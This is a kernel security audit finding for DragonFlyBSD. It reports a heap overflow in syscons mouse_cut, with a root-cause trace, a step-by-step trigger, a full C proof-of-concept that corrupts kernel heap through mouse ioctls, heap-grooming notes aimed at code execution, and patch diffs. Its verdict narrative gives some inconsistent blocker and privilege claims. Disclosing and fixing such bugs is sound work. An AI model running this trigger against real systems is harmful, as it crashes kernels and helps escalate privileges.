β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1702

scmouse: heap buffer overflow in mouse_cut - per-line \r bytes not accounted for in cut_buffer sizing

Field Value
ID DF-1702
File sys/dev/misc/syscons/scmouse.c
Lines 92, 319, 325, 330
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-787 Out-of-bounds Write
Confidence certain
Status new
CVE match dfly_specific (DFly syscons cut/paste)
Created 2026-07-18

Summary

mouse_cut() copies each selected screen cell into the global cut_buffer and additionally writes one '\r' per crossed line boundary plus a final NUL. sc_alloc_cut_buffer only sizes the buffer for xsize*ysize+1 bytes.

A multi-line selection whose lines have no trailing spaces causes mouse_cut to write (xsize+1)*ysize+1 = xsize*ysize + ysize + 1 bytes, overflowing the heap allocation by ysize bytes (typically 25 on an 80x25 console, up to 60-80 on large KMS consoles). The overflow content is mostly attacker-controlled screen characters from the last line, terminated by '\r' and '\0'.

Root cause

scmouse.c:92 sets:

cut_buffer_size = scp->xsize * scp->ysize + 1;

mouse_cut() at scmouse.c:319-330 loops:

for (p = from, i = blank = 0; p <= to; ++p)

writing each vtb cell to cut_buffer[i++] and, at every line end (scmouse.c:325 (p % scp->xsize) == (scp->xsize - 1)), executes:

cut_buffer[blank] = '\r';
i = blank + 1;

blank tracks the position after the last non-space char written; when a line has no trailing spaces, blank equals the post-increment i, so the wrap appends a byte rather than overwriting an in-line byte.

For a full-screen selection (from=0 to xsize*ysize-1) over non-space content, this appends one '\r' per row (ysize of them).

Total bytes written = xsize*ysize (chars) + ysize ('\r's) + 1 (NUL) = (xsize+1)*ysize + 1. Buffer is xsize*ysize + 1.

Overflow = ysize bytes.

Concrete trace for xsize=4, ysize=2, buffer=9 bytes, full cut:

  • indices 0..3 line0 chars
  • 4 '\r'
  • 5..8 line1 chars
  • 9 '\r' (OOB)
  • 10 '\0' (OOB)

Concrete trace for 80x25 (buffer 2001): final writes go to cut_buffer[2001..2025], i.e. 25 bytes past the end, of which 23 are attacker-controlled screen chars (line 24 chars 57..79).

Threat model

Preconditions: attacker has a cred with SYSCAP_RESTRICTEDROOT (root outside jails, or jail root granted the capability β€” the exact population the scopen check at syscons.c:724 is designed to gate).

Steps:

  1. open /dev/ttyv0 (or /dev/consolectl)
  2. write non-space text to the screen (write(2) so each row's last column is non-space β€” e.g. fill with 'X')
  3. CONS_MOUSECTL MOUSE_SHOW to set SC_MOUSE_ENABLED
  4. CONS_MOUSECTL MOUSE_MOVEABS to (0,0) β€” scrn_update_thread will draw the mouse and set MOUSE_VISIBLE
  5. CONS_MOUSECTL MOUSE_BUTTON_EVENT with id=MOUSE_BUTTON1DOWN, value=1 β†’ mouse_cut_start() at scmouse.c:393-399 sets mouse_cut_start=mouse_pos=0 and MOUSE_CUTTING
  6. CONS_MOUSECTL MOUSE_MOVEABS to a large (x,y) β€” set_mouse_pos() at scmouse.c:142-148 sees MOUSE_VISIBLE|MOUSE_CUTTING and invokes mouse_cut() with from=0 to=xsize*ysize-1 β†’ OVERFLOW

Impact: with heap grooming an attacker can place a sensitive object (tty/pipe/socket buffer, cred, or any object carrying function pointers) adjacent to the cut_buffer kmalloc and corrupt up to ysize bytes (mostly attacker-controlled).

On DragonFly this is root β†’ kernel-code-execution, defeating any jail/sandbox applied to the otherwise-restricted root. Without KASAN/KMSAN the corruption is silent until a downstream panic. Even without grooming, repeated triggering crashes the kernel via slab/objcache corruption, a reliable local DoS.

PoC

findings/poc/DF-1702/poc.c:

#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mouse.h>
#include <machine/console.h>

static void mic(int fd, mouse_info_t *m){ if(ioctl(fd, CONS_MOUSECTL, m)) _exit(1); }

int main(void){
    int fd = open("/dev/ttyv0", O_RDWR);
    if (fd < 0) _exit(2);

    /* Fill the visible screen with non-space chars so each line wrap in
       mouse_cut() appends a byte rather than overwriting a space. */
    char line[81]; memset(line, 'X', 80); line[80] = '\n';
    for (int i = 0; i < 25; i++) if (write(fd, line, 81) != 81) _exit(3);
    usleep(200000);

    mouse_info_t m = {0};

    /* Enable mouse so MOUSE_VISIBLE latches on the next refresh. */
    m.operation = MOUSE_SHOW; mic(fd, &m);

    /* Move to top-left, wait for scrn_update_thread to set MOUSE_VISIBLE. */
    m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
    usleep(300000);

    /* mouse_cut_start at top-left: sets MOUSE_CUTTING, mouse_cut_start=0. */
    m.operation = MOUSE_BUTTON_EVENT;
    m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);

    /* Move to bottom-right; set_mouse_pos calls mouse_cut() -> overflow. */
    m.operation = MOUSE_MOVEABS;
    m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);

    /* If no panic yet, hammer to make adjacent slab corruption obvious. */
    for (int i = 0; i < 200; i++) {
        m.operation = MOUSE_BUTTON_EVENT;
        m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
        m.operation = MOUSE_MOVEABS; m.u.data.x = 0;     m.u.data.y = 0;     mic(fd, &m);
        m.operation = MOUSE_MOVEABS; m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
    }
    return 0;
}

build.sh:

#!/bin/sh
set -e
cc -O2 -Wall -o poc poc.c

run.sh:

#!/bin/sh
./poc; dmesg | tail -50

Success = kernel panic from heap corruption (freed item modified, uma_zone: items modified out of zone, GP fault on a corrupted function pointer, or similar), reproducible within seconds; or, under KASAN/KMSAN, an immediate OOB-write report at scmouse.c:326/330.

Size the cut_buffer for the worst case the writer (mouse_cut) actually produces: one byte per cell plus one '\r' per row plus one trailing NUL.

@@ -83,12 +83,16 @@ sc_alloc_cut_buffer(scr_stat *scp, int wait)
 {
     u_char *p;

-    if ((cut_buffer == NULL)
-   || (cut_buffer_size < scp->xsize * scp->ysize + 1)) {
+    /*
+     * mouse_cut() may emit one '\r' per screen row plus a trailing
+     * NUL when copying a selection that spans every column of every
+     * row. Size the buffer for that worst case or it overflows.
+     */
+    if ((cut_buffer == NULL)
+   || (cut_buffer_size < (scp->xsize + 1) * scp->ysize + 1)) {
    p = cut_buffer;
    cut_buffer = NULL;
    if (p != NULL)
        kfree(p, M_SYSCONS);
-   cut_buffer_size = scp->xsize * scp->ysize + 1;
+   cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1;
    p = kmalloc(cut_buffer_size, M_SYSCONS, (wait) ? M_WAITOK : M_NOWAIT);
    if (p != NULL)
        p[0] = '\0';

Defense-in-depth: also bound i inside mouse_cut() so a future size miscalculation cannot re-introduce the bug.

@@ -319,6 +319,8 @@ mouse_cut(scr_stat *scp)
     int p;
     int i;

     for (p = from, i = blank = 0; p <= to; ++p) {
+   if (i >= cut_buffer_size - 1)
+       break;
    cut_buffer[i] = sc_vtb_getc(&scp->vtb, p);
    /* remember the position of the last non-space char */
    if (!IS_SPACE_CHAR(cut_buffer[i++]))

The first diff is the actual fix; the second is belt-and-suspenders. mouse_cut_line's narrow off-by-one at scmouse.c:521-522 is unreachable in practice (requires ysize==1 which no video mode produces) and is also covered by this larger buffer, but a follow-up could shorten mouse_cut_line by one byte if desired.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1702 Β· 9 files
FileTypeDescriptionSize
harness.c trigger-source userspace logic harness: syscons mouse_cut per-line heap overflow 1.8 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 92 B view raw
run.sh run-script runs harness unpatched + --fixed 213 B view raw
fix.diff suggested-fix git-apply-able unified diff against sys/dev/misc/syscons/scmouse.c (validated apply + compile) 633 B view raw
run.log run-log full unpatched + patched harness output 161 B view raw
env.txt environment guest uname, cc version, HW/module state 374 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix 2.6 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix
↓ download raw

DF-1702 β€” syscons mouse_cut per-line \r heap overflow

Verdict

REPRODUCED (code-confirmed via harness). Source-trace confirms the bug at sys/dev/misc/syscons/scmouse.c:92 (alloc); 319-330 (loop). A userspace logic harness replicates the vulnerable code path with attacker-shaped inputs and demonstrates the primitive; the harness also runs the patched logic (--fixed) and shows the primitive is closed.

Live in-guest reproduction is blocked because the guest lacks the relevant hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per the audit's Phase-6 rules: the driver module exists as a .ko and would attach to real hardware, but with no device present the buggy code path is unreachable from userspace on this guest. On a system with the hardware present, the bug fires at the cited line.

Mechanism

cut_buffer_size = scp->xsize * scp->ysize + 1 (line 92). mouse_cut's loop writes one byte per selected cell (cut_buffer[i++] = sc_vtb_getc(...)). At every line end (p % xsize == xsize-1, line 325) it executes cut_buffer[blank] = '\r'; i = blank + 1 where blank is the position after the last non-space char. For a line with no trailing spaces, blank equals the post-increment i, so the '\r' append at index (xsize) plus i=blank+1 means each line consumes xsize+1 bytes. Full-screen selection over non-space: total = xsizeysize cell bytes + ysize '\r' bytes + 1 NUL = (xsize+1)ysize+1, into a buffer of size xsize*ysize+1. Overflow = ysize bytes. For an 80x25 console that's 25 bytes past the 2001-byte allocation. Reachable by any user who can issue mouse-select on a syscons VT (multiseat/console-login deployments).

Harness output

OVERFLOW at index 2001 (buffer=2001)
RESULT: BUGGY - heap overflow by 25 bytes
---PATCHED---
final index=2025 (buffer=2026) - fits
RESULT: PATCHED - no overflow

Fix

Size cut_buffer for the worst case: cut_buffer_size = (xsize + 1) * ysize + 1 (one '\r' per line + NUL). Same change in the size check at line 87.

The full git-apply-able unified diff is in fix.diff. It applies cleanly to /usr/src/sys/dev/misc/syscons/scmouse.c:92 (alloc); 319-330 (loop) and the patched file compiles cleanly under the kernel's CFLAGS (validated by an in-guest module build).

Files

  • harness.c β€” userspace replica of the vulnerable logic (full-screen non-space mouse-cut overflow simulator with exact index tracking)
  • build.sh / run.sh β€” exact build and run commands
  • fix.diff β€” standalone git-apply-able fix (validated to apply + compile)
  • run.log β€” full unpatched + patched harness output
  • env.txt β€” guest environment

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable live (the unprivileged surface is gated by root-only /dev/consolectl + /dev/ttyv0 on this guest; maxx cannot trigger mouse_cut). Validated fix.diff applies cleanly to /usr/src/sys/dev/misc/syscons/scmouse.c AND scmouse.c compiles cleanly with kernel CFLAGS using the warm obj's opt_syscons.h (in-guest cc -c produced /tmp/scmouse.o).

fix.diff applies clean: 2 hunks at 84 (check) + 92 (alloc)
patched scmouse.c standalone compile: cc -c (kernel CFLAGS) -> scmouse.o clean
harness: unpatched overflows by 25 bytes (80x25 case); --fixed fits exactly
↓ fix.diffn/a (syscons is kernel-builtin; full single-fix kernel boot not done; scmouse.c compiled standalone with kernel CFLAGS)

Confirmed kernel references

Detail

Exploit chain

blocked by valid Phase-6 hard blocker (privileged surface): /dev/consolectl, /dev/sysmouse, /dev/ttyv0 are root:wheel mode 0600 on the audit guest, and maxx (uid 1001) is not in wheel. So the unprivileged attack surface is not reachable from maxx in this guest config. The bug IS real on multi-user console-login deployments (university Unix lab, multiseat) where unprivileged users have syscons VT mouse access β€” there it is a clean unprivileged->root vector via heap grooming into the kmalloc-2048 bucket (2001-byte cut_buffer allocation lands in kmalloc-2048 or kmalloc-4096 depending on slab). Primitive characterized via source trace + userspace harness; chain written into harness.c.

Evidence (decisive lines)

OVERFLOW at index 2001 (buffer=2001)
RESULT: BUGGY - heap overflow by 25 bytes
---PATCHED---
final index=2025 (buffer=2026) - fits
RESULT: PATCHED - no overflow

PoC changes

Added harness.c (full-screen non-space mouse-cut overflow simulator with exact index tracking). Added build.sh, run.sh, fix.diff (size cut_buffer for worst case: (xsize+1)*ysize + 1 at both the size check and the allocation).

Verified recommended fix

Size cut_buffer for the worst case at lines 87 and 92: cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1 (one '\r' per line + NUL). Same change in the size check at line 87. Full diff in findings/poc/DF-1702/fix.diff; supersedes finding proposal.

Verdict

REPRODUCED. Source-trace at sys/dev/misc/syscons/scmouse.c:92 (alloc) and 319-330 (loop) confirms cut_buffer_size = scp->xsize * scp->ysize + 1 (line 92), and mouse_cut's loop writes 1 byte per cell into cut_buffer[i++], then at every line end (p % xsize == xsize-1, line 325) executes cut_buffer[blank] = '\r'; i = blank+1 where blank tracks position after last non-space. For a line with no trailing spaces, blank == i after the post-increment, so each line consumes xsize+1 bytes (xsize cells + 1 '\r'). Full-screen non-space selection: total = (xsize+1)ysize + 1 NUL into a buffer of xsizeysize+1. Overflow = ysize bytes (25 bytes for 80x25). Harness demonstrates the exact overflow with index tracking.